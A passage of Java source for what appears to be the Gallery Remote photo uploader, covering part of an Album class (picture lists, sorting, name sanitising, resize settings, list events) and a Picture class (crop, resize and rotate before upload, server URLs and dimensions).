(d1 == null && d2 != null) {\n return -1;\n }\n \n if (d1 == null && d2 == null) {\n return 0;\n }\n \n return d1.compareTo(d2);\n }\n });\n fireContentsChanged(this, 0, pictures.size() - 1);\n }\n\n\tpublic void sortSubAlbums() {\n\t\tif (children != null) {\n\t\t\tCollections.sort(children, new NaturalOrderComparator<Album>());\n\t\t}\n\n\t\tfireContentsChanged(this, 0, pictures.size() - 1);\n\t}\n\n\t/**\n\t * Number of pictures in the album\n\t * \n\t * @return Number of pictures in the album\n\t */\n\tpublic int sizePictures() {\n\t\treturn pictures.size();\n\t}\n\n\t/**\n\t * Remove all the pictures\n\t */\n\tpublic void clearPictures() {\n\t\tint l = pictures.size() - 1;\n\n\t\tpictures.clear();\n\n\t\tfireIntervalRemoved(this, 0, l);\n\t}\n\n\t/**\n\t * Remove a picture\n\t * \n\t * @param n item number of the picture to remove\n\t */\n\tpublic void removePicture(int n) {\n\t\tpictures.remove(n);\n\n\t\tfireIntervalRemoved(this, n, n);\n\t}\n\n\tpublic void removePicture(Picture p) {\n\t\tremovePicture(pictures.indexOf(p));\n\t}\n\n\t/**\n\t * Remove pictures\n\t * \n\t * @param indices list of indices of pictures to remove\n\t */\n\tpublic void removePictures(int[] indices) {\n\t\tint min, max;\n\t\tmin = max = indices[0];\n\n\t\tfor (int i = indices.length - 1; i >= 0; i--) {\n\t\t\tpictures.remove(indices[i]);\n\t\t\tif (indices[i] > max) max = indices[i];\n\t\t\tif (indices[i] < min) min = indices[i];\n\t\t}\n\n\t\tfireIntervalRemoved(this, min, max);\n\t}\n\n\t/**\n\t * Get a picture from the album\n\t * \n\t * @param n index of the picture to retrieve\n\t * @return The Picture\n\t */\n\tpublic Picture getPicture(int n) {\n\t\treturn (Picture) pictures.get(n);\n\t}\n\n\n\t/**\n\t * Set a picture in the album\n\t * \n\t * @param n index of the picture\n\t * @param p The new picture\n\t */\n\tpublic void setPicture(int n, Picture p) {\n\t\tpictures.set(n, p);\n\n\t\tfireContentsChanged(this, n, n);\n\t}\n\n\t/**\n\t * Get the list of files that contain the pictures\n\t *\n\t *@return The fileList value\n\t */\n\t/*public ArrayList getFileList() {\n\t\tArrayList l = new ArrayList( pictures.size() );\n\n\t\tEnumeration e = pictures.elements();\n\t\twhile ( e.hasMoreElements() ) {\n\t\t\tl.add( ( (Picture) e.nextElement() ).getSource() );\n\t\t}\n\n\t\treturn l;\n\t}*/\n\n\t/**\n\t * Sets the name attribute of the Album object\n\t * \n\t * @param name The new name value\n\t */\n\tpublic void setName(String name) {\n\t\tthis.name = removeOffendingChars(name);\n\t}\n\n\tstatic final String offendingChars = \"\\\\/*?\\\"\\'&<>|.+# ()\";\n\n\tstatic String removeOffendingChars(String in) {\n\t\tStringBuffer out = new StringBuffer();\n\n\t\tint l = in.length();\n\t\tfor (int i = 0; i < l; i++) {\n\t\t\tchar c = in.charAt(i);\n\t\t\tif (offendingChars.indexOf(c) == -1) {\n\t\t\t\tout.append(c);\n\t\t\t}\n\t\t}\n\n\t\treturn out.toString();\n\t}\n\n\t/**\n\t * Gets the name attribute of the Album object\n\t * \n\t * @return The name value\n\t */\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\t/**\n\t * Sets the title attribute of the Album object\n\t * \n\t * @param title The new title\n\t */\n\tpublic void setTitle(String title) {\n\t\tthis.title = title;\n\n\t\tif (!suppressEvents) {\n\t\t\tgallery.nodeChanged(this);\n\t\t}\n\t}\n\n\t/**\n\t * Gets the aggregated file size of all the pictures in the album\n\t * \n\t * @return The file size (bytes)\n\t */\n\tpublic long getPictureFileSize() {\n\t\tif (pictureFileSize == null) {\n\t\t\tpictureFileSize = getPictureFileSize((Picture[]) pictures.toArray(new Picture[0]));\n\t\t}\n\n\t\treturn pictureFileSize;\n\t}\n\n\t/**\n\t * Gets the aggregated file size of a list of pictures\n\t * \n\t * @param pictures the list of Pictures\n\t * @return The file size (bytes)\n\t */\n\tpublic static long getPictureFileSize(Picture[] pictures) {\n\t\treturn getObjectFileSize(pictures);\n\t}\n\n\t/**\n\t * Gets the aggregated file size of a list of pictures Unsafe, the Objects\n\t * will be cast to Pictures.\n\t * \n\t * @param pictures the list of Pictures\n\t * @return The file size (bytes)\n\t */\n\tpublic static long getObjectFileSize(Object[] pictures) {\n\t\tlong total = 0;\n\n\t\tfor (Object picture : pictures) {\n\t\t\ttotal += ((Picture) picture).getFileSize();\n\t\t}\n\n\t\treturn total;\n\t}\n\n\tpublic String toString() {\n\t\tStringBuffer ret = new StringBuffer();\n\t\tret.append(indentHelper(\"\"));\n\t\tret.append(title);\n\n\t\tif (pictures.size() != 0) {\n\t\t\tret.append(\" (\").append(pictures.size()).append(\")\");\n\t\t}\n\t\t\n\t\t// using canEdit here, since that's the only operation we perform\n\t\t// currently. eventually, when we start changing things\n\t\t// on the server, permission support will get more ... interesting.\n\t\tif (!canEdit) {\n\t\t\tret.append(\" \").append(GRI18n.getString(MODULE, \"ro\"));\n\t\t}\n\n\t\treturn ret.toString();\n\t}\n\n\tpublic boolean equals(Object o) {\n\t\treturn (o != null\n\t\t\t\t&& o instanceof Album\n\t\t\t\t&& ((Album) o).getGallery() == getGallery()\n\t\t\t\t&& getName() != null\n\t\t\t\t&& ((Album) o).getName() != null\n\t\t\t\t&& ((Album) o).getName().equals(getName()));\n\t}\n\t\t\n\n\t/* -------------------------------------------------------------------------\n\t *ListModel Implementation\n\t */\n\t \n\t/**\n\t * Gets the size attribute of the Album object\n\t * \n\t * @return The size value\n\t */\n\tpublic int getSize() {\n\t\treturn pictures.size();\n\t}\n\n\t/**\n\t * Gets the elementAt attribute of the Album object\n\t * \n\t * @param index Description of Parameter\n\t * @return The elementAt value\n\t */\n\tpublic Object getElementAt(int index) {\n\t\treturn pictures.get(index);\n\t}\n\n\t/**\n\t * Description of the Method\n\t */\n\t/*public void setParent(Album a) {\n\t\t// take care of a Gallery bug...\n\t\tif (a == this) {\n\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Gallery error: the album \" + name +\n\t\t\t\t\t\" is its own parent. You should delete it, the album database \" +\n\t\t\t\t\t\"is corrupted because of it.\");\n\n\t\t\ta = (Album) getRoot();\n\t\t}\n\n\t\tsuper.setParent(a);\n\t}*/\n\n\tpublic ArrayList<String> getExtraFields() {\n\t\treturn extraFields;\n\t}\n\n\tpublic void setExtraFieldsString(String extraFieldsString) {\n\t\tif (extraFieldsString != null && extraFieldsString.length() > 0) {\n\t\t\textraFields = new ArrayList<String>();\n\t\t\tStringTokenizer st = new StringTokenizer(extraFieldsString, \",\");\n\t\t\tList noShow = null;\n\t\t\tif (getGallery().getGalleryVersion() == 1) {\n\t\t\t\tnoShow = extraFieldsNoShow;\n\t\t\t} else {\n\t\t\t\tnoShow = extraFieldsNoShowG2;\n\t\t\t}\n\t\t\twhile (st.hasMoreTokens()) {\n\t\t\t\tString name = st.nextToken();\n\n\t\t\t\tif (!noShow.contains(name) && !extraFields.contains(name)) {\n\t\t\t\t\textraFields.add(name);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\textraFields = null;\n\t\t}\n\t}\n\n\tpublic String getSummary() {\n\t\treturn summary;\n\t}\n\n\tpublic void setSummary(String summary) {\n\t\tthis.summary = summary;\n\t}\n\n\tpublic ArrayList<Picture> getPicturesList() {\n\t\treturn pictures;\n\t}\n\n\tArrayList<Picture> getUploadablePicturesList() {\n\t\tArrayList<Picture> uploadable = new ArrayList<Picture>();\n\n\t\tfor (Picture picture : pictures) {\n\t\t\tif (!picture.isOnline()) {\n\t\t\t\tuploadable.add(picture);\n\t\t\t}\n\t\t}\n\n\t\treturn uploadable;\n\t}\n\n\tvoid setPicturesList(ArrayList<Picture> pictures) {\n\t\tthis.pictures = pictures;\n\n\t\tfor (Picture picture : pictures) {\n\t\t\tpicture.setParent(this);\n\t\t}\n\n\t\tfireContentsChanged(this, 0, pictures.size() - 1);\n\t}\n\n\tpublic int getAlbumDepth() throws IllegalArgumentException {\n\t\tif (albumDepth == null) {\n\t\t\talbumDepth = depthHelper(0);\n\t\t}\n\n\t\treturn albumDepth;\n\t}\n\n\tint depthHelper(int depth) throws IllegalArgumentException {\n\t\tif (getParentAlbum() == this || depth > 20) {\n\t\t\tthrow new IllegalArgumentException(\"Circular containment hierarchy. Gallery corrupted!\");\n\t\t}\n\n\t\tif (getParentAlbum() != null) {\n\t\t\treturn getParentAlbum().depthHelper(depth + 1);\n\t\t} else {\n\t\t\treturn depth;\n\t\t}\n\t}\n\n\tpublic static final String INDENT_QUANTUM = \" \";\n\n\tString indentHelper(String indent) {\n\t\tif (getParentAlbum() != null) {\n\t\t\treturn getParentAlbum().indentHelper(indent + INDENT_QUANTUM);\n\t\t} else {\n\t\t\treturn indent;\n\t\t}\n\t}\n\n\t/*void notifyListeners() {\n\t\tif (!suppressEvents) {\n\t\t\tfireContentsChanged(this, 0, pictures.size());\n\t\t\tif (gallery != null) {\n\t\t\t\tgallery.albumChanged(this);\n\t\t\t}\n\t\t}\n\t}*/\n\n\t/*public ArrayList getSubAlbums() {\n\t\treturn subAlbums;\n\t}*/\n\n\t/*public void addSubAlbum(Album a) {\n\t\tsubAlbums.add(a);\n\n\t\tif (!suppressEvents) {\n\t\t\t//gallery.fireTreeNodesInserted(this, gallery.getObjectArrayForAlbum(this),\n\t\t\t//\t\tnew int[] { subAlbums.indexOf(a) },\n\t\t\t//\t\tnew Object[] { a });\n\t\t\tgallery.fireTreeStructureChanged(gallery, gallery.getPathForAlbum(this));\n\t\t}\n\t}\n\n\tpublic void removeSubAlbum(Album a) {\n\t\tint index = subAlbums.indexOf(a);\n\t\tif (index != -1) {\n\t\t\tsubAlbums.remove(a);\n\n\t\t\tif (!suppressEvents) {\n\t\t\t\t//gallery.fireTreeNodesRemoved(this, gallery.getObjectArrayForAlbum(this),\n\t\t\t\t//\t\tnew int[] { index },\n\t\t\t\t//\t\tnew Object[] { a });\n\t\t\t\tgallery.fireTreeStructureChanged(gallery, gallery.getPathForAlbum(this));\n\t\t\t\t//gallery.fireTreeStructureChanged(this, new TreePath(gallery.root));\n\t\t\t}\n\t\t}\n\t}*/\n\n\tpublic Boolean getOverrideResize() {\n\t\treturn overrideResize;\n\t}\n\n\tpublic void setOverrideResize(Boolean overrideResize) {\n\t\tthis.overrideResize = overrideResize;\n\t}\n\n\tpublic Boolean getOverrideResizeDefault() {\n\t\treturn overrideResizeDefault;\n\t}\n\n\tpublic void setOverrideResizeDefault(Boolean overrideResizeDefault) {\n\t\tthis.overrideResizeDefault = overrideResizeDefault;\n\t}\n\n\tpublic int getOverrideResizeDimension() {\n\t\treturn overrideResizeDimension;\n\t}\n\n\tpublic void setOverrideResizeDimension(int overrideResizeDimension) {\n\t\tthis.overrideResizeDimension = overrideResizeDimension;\n\t}\n\n\tpublic Boolean getOverrideAddToBeginning() {\n\t\treturn overrideAddToBeginning;\n\t}\n\n\tpublic void setOverrideAddToBeginning(Boolean overrideAddToBeginning) {\n\t\tthis.overrideAddToBeginning = overrideAddToBeginning;\n\t}\n\n\tpublic boolean getResize() {\n\t\tif (overrideResize != null) {\n\t\t\treturn overrideResize;\n\t\t} else {\n\t\t\treturn GalleryRemote._().properties.getBooleanProperty(RESIZE_BEFORE_UPLOAD);\n\t\t}\n\t}\n\n\tpublic boolean getResizeDefault() {\n\t\tif (overrideResizeDefault != null) {\n\t\t\treturn overrideResizeDefault;\n\t\t} else {\n\t\t\treturn GalleryRemote._().properties.getIntDimensionProperty(RESIZE_TO) == 0;\n\t\t}\n\t}\n\n\tpublic int getResizeDimension() {\n\t\tif (overrideResizeDimension != -1) {\n\t\t\treturn overrideResizeDimension;\n\t\t} else {\n\t\t\treturn GalleryRemote._().properties.getIntDimensionProperty(RESIZE_TO);\n\t\t}\n\t}\n\n\tpublic boolean getAddToBeginning() {\n\t\tif (overrideAddToBeginning != null) {\n\t\t\treturn overrideAddToBeginning;\n\t\t} else {\n\t\t\t// todo\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tpublic boolean isHasFetchedImages() {\n\t\treturn hasFetchedImages;\n\t}\n\n\tpublic void setHasFetchedImages(boolean hasFetchedImages) {\n\t\tthis.hasFetchedImages = hasFetchedImages;\n\t}\n\n\tpublic void setSuppressEvents(boolean suppressEvents) {\n\t\tthis.suppressEvents = suppressEvents;\n\t}\n\n\t/*\n\t ******************* LIST HANDLING (FOR PICTURES) ***************\n\t */\n\n\tpublic void addListDataListener(ListDataListener l) {\n\t\tif (listenerList == null) listenerList = new EventListenerList();\n\t\tlistenerList.add(ListDataListener.class, l);\n\t}\n\n\n\tpublic void removeListDataListener(ListDataListener l) {\n\t\tif (listenerList == null) listenerList = new EventListenerList();\n\t\tlistenerList.remove(ListDataListener.class, l);\n\t}\n\n\tpublic void fireContentsChanged(Object source, int index0, int index1) {\n\t\tif (listenerList == null) listenerList = new EventListenerList();\n\t\tObject[] listeners = listenerList.getListenerList();\n\t\tListDataEvent e = null;\n\n\t\tfor (int i = listeners.length - 2; i >= 0; i -= 2) {\n\t\t\tif (listeners[i] == ListDataListener.class) {\n\t\t\t\tif (e == null) {\n\t\t\t\t\te = new ListDataEvent(source, ListDataEvent.CONTENTS_CHANGED, index0, index1);\n\t\t\t\t}\n\t\t\t\t((ListDataListener) listeners[i + 1]).contentsChanged(e);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void fireIntervalAdded(Object source, int index0, int index1) {\n\t\tif (listenerList == null) listenerList = new EventListenerList();\n\t\tObject[] listeners = listenerList.getListenerList();\n\t\tListDataEvent e = null;\n\n\t\tfor (int i = listeners.length - 2; i >= 0; i -= 2) {\n\t\t\tif (listeners[i] == ListDataListener.class) {\n\t\t\t\tif (e == null) {\n\t\t\t\t\te = new ListDataEvent(source, ListDataEvent.INTERVAL_ADDED, index0, index1);\n\t\t\t\t}\n\t\t\t\t((ListDataListener) listeners[i + 1]).intervalAdded(e);\n\t\t\t}\n\t\t}\n\t}\n\n\n\tpublic void fireIntervalRemoved(Object source, int index0, int index1) {\n\t\tif (listenerList == null) listenerList = new EventListenerList();\n\t\tObject[] listeners = listenerList.getListenerList();\n\t\tListDataEvent e = null;\n\n\t\tfor (int i = listeners.length - 2; i >= 0; i -= 2) {\n\t\t\tif (listeners[i] == ListDataListener.class) {\n\t\t\t\tif (e == null) {\n\t\t\t\t\te = new ListDataEvent(source, ListDataEvent.INTERVAL_REMOVED, index0, index1);\n\t\t\t\t}\n\t\t\t\t((ListDataListener) listeners[i + 1]).intervalRemoved(e);\n\t\t\t}\n\t\t}\n\t}\n\n\ttransient protected EventListenerList listenerList = new EventListenerList();\n}", "public class Picture extends GalleryItem implements Serializable, PreferenceNames, Cloneable {\n\tpublic static final String MODULE = \"Picture\";\n\n\tFile source = null;\n\n\tHashMap<String,String> extraFields;\n\tArrayList<ResizedDerivative> resizedDerivatives;\n\n\tboolean hidden;\n\n\tint angle = 0;\n\tboolean flipped = false;\n\tboolean suppressServerAutoRotate = false;\n\n\tboolean online = false;\n\tURL urlFull = null;\n\tDimension sizeFull = null;\n\tURL urlResized = null;\n\tDimension sizeResized = null;\n\tURL urlThumbnail = null;\n\tDimension sizeThumbnail = null;\n\tRectangle cropTo = null;\n\n\tAlbum albumOnServer = null;\n\tint indexOnServer = -1;\n\n\ttransient double fileSize = 0;\n\ttransient int indexCache = -1;\n\ttransient Dimension dimension = null;\n\ttransient ExifData exif = null;\n\ttransient String forceExtension = null;\n\ttransient String uniqueId = null;\n\ttransient String itemId = null;\n\ttransient String name = null;\n\n\t/**\n\t * Constructor for the Picture object\n\t */\n\tpublic Picture(Gallery gallery) {\n\t\tsuper(gallery);\n\n\t\tsetAllowsChildren(false);\n\t}\n\n\n\t/**\n\t * Constructor for the Picture object\n\t * \n\t * @param source File the Picture is based on\n\t */\n\tpublic Picture(Gallery gallery, File source) {\n\t\tthis(gallery);\n\n\t\tsetSource(source);\n\t}\n\n\tpublic Object clone() {\n\t\tPicture newPicture = (Picture) super.clone();\n\n\t\tnewPicture.source = source;\n\n\t\tnewPicture.extraFields = extraFields;\n\t\tnewPicture.resizedDerivatives = resizedDerivatives;\n\n\t\tnewPicture.hidden = hidden;\n\n\t\tnewPicture.angle = angle;\n\t\tnewPicture.flipped = flipped;\n\t\tnewPicture.suppressServerAutoRotate = suppressServerAutoRotate;\n\n\t\tnewPicture.online = online;\n\t\tnewPicture.urlFull = urlFull;\n\t\tnewPicture.sizeFull = sizeFull;\n\t\tnewPicture.urlResized = urlResized;\n\t\tnewPicture.sizeResized = sizeResized;\n\t\tnewPicture.urlThumbnail = urlThumbnail;\n\t\tnewPicture.sizeThumbnail = sizeThumbnail;\n\t\tnewPicture.cropTo = cropTo;\n\t\t\n\t\tnewPicture.albumOnServer = albumOnServer;\n\t\tnewPicture.indexOnServer = indexOnServer;\n\n\t\tnewPicture.fileSize = fileSize;\n\t\tnewPicture.escapedDescription = escapedDescription;\n\t\tnewPicture.indexCache = indexCache;\n\n\t\treturn newPicture;\n\t}\n\n\n\t/**\n\t * Sets the source file the Picture is based on\n\t * \n\t * @param source The new file\n\t */\n\tpublic void setSource(File source) {\n\t\tthis.source = source;\n\n\t\tif (GalleryRemote._().properties.getAutoCaptions() == AUTO_CAPTIONS_FILENAME) {\n\t\t\tString filename = source.getName();\n\n\t\t\tif (GalleryRemote._().properties.getBooleanProperty(CAPTION_STRIP_EXTENSION)) {\n\t\t\t\tint i = filename.lastIndexOf(\".\");\n\n\t\t\t\tif (i != -1) {\n\t\t\t\t\tfilename = filename.substring(0, i);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tsetDescription(filename);\n\t\t} else if (GalleryRemote._().properties.getAutoCaptions() == AUTO_CAPTIONS_COMMENT\n\t\t\t\t&& getExifData() != null && getExifData().getCaption() != null) {\n\t\t\tsetDescription(getExifData().getCaption());\n\t\t} else if (GalleryRemote._().properties.getAutoCaptions() == AUTO_CAPTIONS_DATE\n\t\t\t\t&& getExifData() != null && getExifData().getCreationDate() != null) {\n\t\t\tsetDescription(getExifData().getCreationDate().toString());\n\t\t}\n\n\t\tfileSize = 0;\n\t}\n\n\n\t/**\n\t * Gets the source file the Picture is based on\n\t * \n\t * @return The source value\n\t */\n\tpublic File getSource() {\n\t\tif (online) {\n\t\t\tthrow new RuntimeException(\"Can't get source for an online file!\");\n\t\t}\n\n\t\treturn source;\n\t}\n\n\t/**\n\t * Gets the fource file of the picture, prepared for upload.\n\t * Called by GalleryComm to upload the picture.\n\t * \n\t * @return The source value\n\t */\n\tpublic File getUploadSource() {\n\t\tboolean useLossyCrop = false;\n\t\tFile picture = getSource();\n\t\tAlbum album = getParentAlbum();\n\n\t\t// crop\n\t\tif (cropTo != null) {\n\t\t\ttry {\n\t\t\t\tpicture = ImageUtils.losslessCrop(picture.getPath(), cropTo);\n\t\t\t} catch (UnsupportedOperationException e) {\n\t\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Couldn't use ImageUtils to losslessly crop the image, will try lossy\");\n\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t\tuseLossyCrop = true;\n\t\t\t}\n\t\t}\n\n\t\tint resizeJpegQuality = album.getGallery().getResizeJpegQuality();\n\n\t\t// resize\n\t\tif (album.getResize()) {\n\t\t\tint i = album.getResizeDimension();\n\n\t\t\tif (i <= 0) {\n\t\t\t\tint l = album.getServerAutoResize();\n\n\t\t\t\tif (l != 0) {\n\t\t\t\t\ti = l;\n\t\t\t\t} else {\n\t\t\t\t\t// server can't tell us how to resize, try default\n\t\t\t\t\ti = GalleryRemote._().properties.getIntDimensionProperty(RESIZE_TO_DEFAULT);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (i != -1 || useLossyCrop) {\n\t\t\t\ttry {\n\t\t\t\t\tpicture = ImageUtils.resize(picture.getPath(), new Dimension(i, i), useLossyCrop?cropTo:null, resizeJpegQuality);\n\t\t\t\t} catch (UnsupportedOperationException e) {\n\t\t\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Couldn't use ImageUtils to resize the image, it will be uploaded at the original size\");\n\t\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (useLossyCrop) {\n\t\t\tpicture = ImageUtils.resize(picture.getPath(), null, useLossyCrop?cropTo:null, resizeJpegQuality);\n\t\t}\n\n\t\t// rotate\n\t\tif (angle != 0 || flipped) {\n\t\t\ttry {\n\t\t\t\tpicture = ImageUtils.rotate(picture.getPath(), angle, flipped, true);\n\t\t\t} catch (UnsupportedOperationException e) {\n\t\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Couldn't use jpegtran to rotate the image, it will be uploaded unrotated\");\n\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t}\n\t\t}\n\n\t\treturn picture;\n\t}\n\n\t/**\n\t * Gets the size of the file\n\t * \n\t * @return The size value\n\t */\n\tpublic double getFileSize() {\n\t\tif (fileSize == 0 && source != null && source.exists()) {\n\t\t\tfileSize = source.length();\n\t\t}\n\n\t\treturn fileSize;\n\t}\n\n\tpublic void setFileSize(double fileSize) {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't set the size of a local image\");\n\t\t}\n\n\t\tthis.fileSize = fileSize;\n\t}\n\n\n\t/**\n\t * Gets the album this Picture is inside of\n\t * \n\t * @return The album\n\t */\n\t/*public Album getAlbum() {\n\t\treturn album;\n\t}*/\n\n\tpublic String toString() {\n\t\tif (online) {\n\t\t\treturn getName();\n\t\t} else {\n\t\t\treturn source.getName();\n\t\t}\n\t}\n\n\tpublic int hashCode() {\n\t\tString path;\n\n\t\tif (online) {\n\t\t\tpath = safeGetUrlFull().toString();\n\t\t} else {\n\t\t\tpath = source.getName();\n\t\t}\n\n\t\treturn path.hashCode();\n\t}\n\n\t// Hacks to allow Album to inherit from Picture and AbstractListModel\n\tpublic int getSize() {\n\t\treturn 0;\n\t}\n\n\tpublic Object getElementAt(int index) {\n\t\treturn null;\n\t}\n\n\tpublic void rotateRight() {\n\t\tangle = (angle + 1) % 4;\n\t}\n\n\tpublic void rotateLeft() {\n\t\tangle = (angle + 3) % 4;\n\t}\n\n\tpublic void flip() {\n\t\tflipped = !flipped;\n\t}\n\n\tpublic int getAngle() {\n\t\treturn angle;\n\t}\n\n\tpublic void setAngle(int angle) {\n\t\tthis.angle = angle;\n\t}\n\n\tpublic boolean isFlipped() {\n\t\treturn flipped;\n\t}\n\n\tpublic void setFlipped(boolean flipped) {\n\t\tthis.flipped = flipped;\n\t}\n\n\tpublic String getExtraField(String name) {\n\t\tif (extraFields == null) {\n\t\t\treturn null;\n\t\t}\n\n\t\treturn extraFields.get(name);\n\t}\n\n\tpublic String getExtraFieldsString(boolean includeKey) {\n\t\tif (extraFields == null) {\n\t\t\treturn \"\";\n\t\t}\n\n\t\tStringBuffer sb = new StringBuffer();\n\t\tString sep = System.getProperty(\"line.separator\");\n\n\t\tfor (String name : getParentAlbum().getExtraFields()) {\n\t\t\tString value = extraFields.get(name);\n\n\t\t\tif (value != null) {\n\t\t\t\tif (includeKey) {\n\t\t\t\t\tsb.append(name).append(\": \");\n\t\t\t\t}\n\t\t\t\tsb.append(value).append(sep);\n\t\t\t}\n\t\t}\n\n\t\treturn sb.toString();\n\t}\n\n\tpublic void setExtraField(String name, String value) {\n\t\tif (extraFields == null) {\n\t\t\textraFields = new HashMap<String,String>();\n\t\t}\n\n\t\textraFields.put(name, value);\n\t}\n\n\tpublic void removeExtraField(String name) {\n\t\tif (extraFields == null) {\n\t\t\textraFields = new HashMap<String,String>();\n\t\t}\n\n\t\textraFields.remove(name);\n\t}\n\n\tpublic HashMap<String,String> getExtraFieldsMap() {\n\t\treturn extraFields;\n\t}\n\n\tpublic void setSuppressServerAutoRotate(boolean suppressServerAutoRotate) {\n\t\tthis.suppressServerAutoRotate = suppressServerAutoRotate;\n\t}\n\n\tpublic boolean isOnline() {\n\t\treturn online;\n\t}\n\n\tpublic void setOnline(boolean online) {\n\t\tthis.online = online;\n\t}\n\n\tpublic URL getUrlFull() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get URL for a local file!\");\n\t\t}\n\n\t\treturn urlFull;\n\t}\n\n\tpublic URL safeGetUrlFull() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get URL for a local file!\");\n\t\t}\n\n\t\tif (urlFull != null) {\n\t\t\treturn urlFull;\n\t\t} else if (urlResized != null) {\n\t\t\treturn urlResized;\n\t\t} else {\n\t\t\tthrow new RuntimeException(\"Neither full nor resized URL!\");\n\t\t}\n\t}\n\n\tpublic void setUrlFull(URL urlFull) {\n\t\tthis.urlFull = urlFull;\n\t}\n\n\tpublic Dimension getSizeFull() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get dimension for a local file!\");\n\t\t}\n\n\t\treturn sizeFull;\n\t}\n\n\tpublic Dimension safeGetSizeFull() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get dimension for a local file!\");\n\t\t}\n\n\t\tif (sizeFull != null) {\n\t\t\treturn sizeFull;\n\t\t} else if (sizeResized != null) {\n\t\t\treturn sizeResized;\n\t\t} else {\n\t\t\tthrow new RuntimeException(\"Neither full nor resized size!\");\n\t\t}\n\t}\n\n\tpublic void setSizeFull(Dimension sizeFull) {\n\t\tthis.sizeFull = sizeFull;\n\t}\n\n\tpublic URL getUrlResized() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get URL for a local file!\");\n\t\t}\n\n\t\treturn urlResized;\n\t}\n\n\tpublic void setUrlResized(URL urlResized) {\n\t\tthis.urlResized = urlResized;\n\t}\n\n\tpublic Dimension getSizeResized() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get dimension for a local file!\");\n\t\t}\n\n\t\treturn sizeResized;\n\t}\n\n\tpublic void setSizeResized(Dimension sizeResized) {\n\t\tthis.sizeResized = sizeResized;\n\n\t\t// also add the new-style derivative info\n\t\taddResizedDerivative(getUrlResized(), sizeResized);\n\t}\n\n\tpublic URL getUrlThumbnail() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get URL for a local file!\");\n\t\t}\n\n\t\treturn urlThumbnail;\n\t}\n\n\tpublic void setUrlThumbnail(URL urlThumbnail) {\n\t\tthis.urlThumbnail = urlThumbnail;\n\t}\n\n\tpublic Dimension getSizeThumbnail() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get dimension for a local file!\");\n\t\t}\n\n\t\treturn sizeThumbnail;\n\t}\n\n\tpublic void setSizeThumbnail(Dimension sizeThumbnail) {\n\t\tthis.sizeThumbnail = sizeThumbnail;\n\t}\n\n\tpublic String getName() {\n\t\tif (name == null) {\n\t\t\tif (isOnline()) {\n\t\t\t\tString path = safeGetUrlFull().getPath();\n\n\t\t\t\tint i = path.lastIndexOf('/');\n\n\t\t\t\tif (i != -1) {\n\t\t\t\t\tpath = path.substring(i + 1);\n\t\t\t\t}\n\n\t\t\t\ti = path.lastIndexOf('.');\n\t\t\t\tif (i != -1) {\n\t\t\t\t\tpath = path.substring(0, i);\n\t\t\t\t}\n\n\t\t\t\tname = path;\n\t\t\t} else {\n\t\t\t\tname = getSource().getName();\n\t\t\t}\n\t\t}\n\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic Album getAlbumOnServer() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get Album on server for a local file!\");\n\t\t}\n\n\t\treturn albumOnServer;\n\t}\n\n\tpublic void setAlbumOnServer(Album albumOnServer) {\n\t\tthis.albumOnServer = albumOnServer;\n\t}\n\n\tpublic int getIndexOnServer() {\n\t\tif (!online) {\n\t\t\tthrow new RuntimeException(\"Can't get Index on server for a local file!\");\n\t\t}\n\n\t\treturn indexOnServer;\n\t}\n\n\tpublic int getIndex() {\n\t\tAlbum album = getParentAlbum();\n\t\tif (indexCache == -1\n\t\t\t\t|| indexCache >= album.pictures.size()\n\t\t\t\t|| album.pictures.get(indexCache) != this) {\n\t\t\treturn album.pictures.indexOf(this);\n\t\t} else {\n\t\t\treturn indexCache;\n\t\t}\n\t}\n\n\tpublic void setIndexOnServer(int indexOnServer) {\n\t\tthis.indexOnServer = indexOnServer;\n\t}\n\n\tpublic boolean isHidden() {\n\t\treturn hidden;\n\t}\n\n\tpublic void setHidden(boolean hidden) {\n\t\tthis.hidden = hidden;\n\t}\n\n\tpublic Rectangle getCropTo() {\n\t\treturn cropTo;\n\t}\n\n\tpublic void setCropTo(Rectangle cropTo) {\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"setCropTo \" + cropTo);\n\n\t\tif (cropTo != null) {\n\t\t\t// make very sure the crop dimensions make sense\n\t\t\tDimension d = getDimension();\n\t\t\tif (cropTo.x < 0) {\n\t\t\t\tcropTo.x = 0;\n\t\t\t}\n\t\t\tif (cropTo.y < 0) {\n\t\t\t\tcropTo.y = 0;\n\t\t\t}\n\t\t\tif (cropTo.width + cropTo.x > d.width) {\n\t\t\t\tcropTo.width = d.width - cropTo.x;\n\t\t\t}\n\t\t\tif (cropTo.height + cropTo.y > d.height) {\n\t\t\t\tcropTo.height = d.height - cropTo.y;\n\t\t\t}\n\t\t}\n\n\t\tthis.cropTo = cropTo;\n\t}\n\n\tpublic Dimension getDimension() {\n\t\tif (dimension == null) {\n\t\t\tdimension = ImageUtils.getPictureDimension(this);\n\t\t}\n\n\t\treturn dimension;\n\t}\n\n\tpublic ExifData getExifData() {\n\t\tif (exif == null && ImageUtils.isExifAvailable()) {\n\t\t\texif = 